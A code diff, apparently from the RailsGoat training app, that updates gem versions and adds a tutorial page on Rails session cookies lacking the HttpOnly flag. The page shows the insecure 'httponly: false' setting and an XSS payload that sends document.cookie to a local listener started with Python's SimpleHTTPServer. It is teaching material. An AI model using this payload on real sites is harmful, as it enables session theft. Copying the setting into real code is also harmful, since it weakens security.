diff --git a/Gemfile.lock b/Gemfile.lock index 657e83d..ef3263b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -140,7 +140,7 @@ GEM kgio (2.9.2) launchy (2.4.2) addressable (~> 2.3) - libv8 (3.16.14.3) + libv8 (3.16.14.5) listen (2.7.9) celluloid (>= 0.15.2) rb-fsevent (>= 0.9.3) @@ -276,7 +276,7 @@ GEM thor (0.19.1) thread_safe (0.3.4) tilt (1.4.1) - timers (4.0.0) + timers (4.0.1) hitimes travis-lint (2.0.0) json diff --git a/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb new file mode 100644 index 0000000..498a0c6 --- /dev/null +++ b/app/views/layouts/tutorial/broken_auth_sess/_httponly_flag.html.erb @@ -0,0 +1,93 @@ +
+
+
+ A2 - Broken Authentication and Session Management - Lack of HttpOnly Flag +
+
+
+
+
+
+ + + + Description + +
+
+
+ The HttpOnly flag prevents access to the document.cookie attribute of the DOM via JavaScript. Helpful for limiting the impact of Cross-Site Scripting as it relates to session theft. +
+
+
+
+
+ + + + Bug + +
+
+
+

+ By default, Ruby on Rails protects its' cookies with the HttpOnly flag. However, it is possible to disable this security protection and is not recommended. You can disable this protection using the flag highlighted below. This is an insecure and unnecessary change. +

+ 
+Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', httponly: false
+
+
+
+
+
+
+ + + + Solution + +
+
+
+

Lack of the HttpOnly Flag - ATTACK

+

+ Navigate to the sign-up page, sign up as a user, but in the first name field, enter: + 

+					<script>document.location="http://localhost:8000/" + document.cookie </script>
+
+

+ Additionally, fire up Python's SimpleHTTPServer module using the following command: +

+ 
+					$ python -m SimpleHTTPServer
+
+

+ Now authenticate to the application as the user you just created, you'll be redirected, now review the terminal tab that has the python server running. You'll notice that you see a GET request with the user's session in the request path. This means you have now grabbed the user's session via Cross-Site Scripting. +

+

+

Lack of the HttpOnly Flag - SOLUTION

+

+ Keep the default configuration "as-is" and do not make this change. If this exists in your code base, remove it. +

+
+
+
+
+
+ + + + Hint + +
+
+
+

+ Can JavaScript interact with my session cookie? +

+
+
+
+
+
+
diff --git a/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb b/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb index 98cc566..de35813 100644 --- a/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb +++ b/app/views/layouts/tutorial/broken_auth_sess/_insecure_compare.html.erb @@ -67,7 +67,7 @@
-

Lack of Password Complexity - SOLUTION

+

Insecure Timing Attacks - SOLUTION

Within app/models/user.rb:

diff --git a/app/views/tutorials/broken_auth.html.erb b/app/views/tutorials/broken_auth.html.erb index 4953d5b..4b9056c 100755 --- a/app/views/tutorials/broken_auth.html.erb +++ b/app/views/tutorials/broken_auth.html.erb @@ -15,6 +15,11 @@ <%= render :partial => ("layouts/tutorial/broken_auth_sess/insecure_compare")%>
+
+
+ <%= render :partial => ("layouts/tutorial/broken_auth_sess/httponly_flag")%> +
+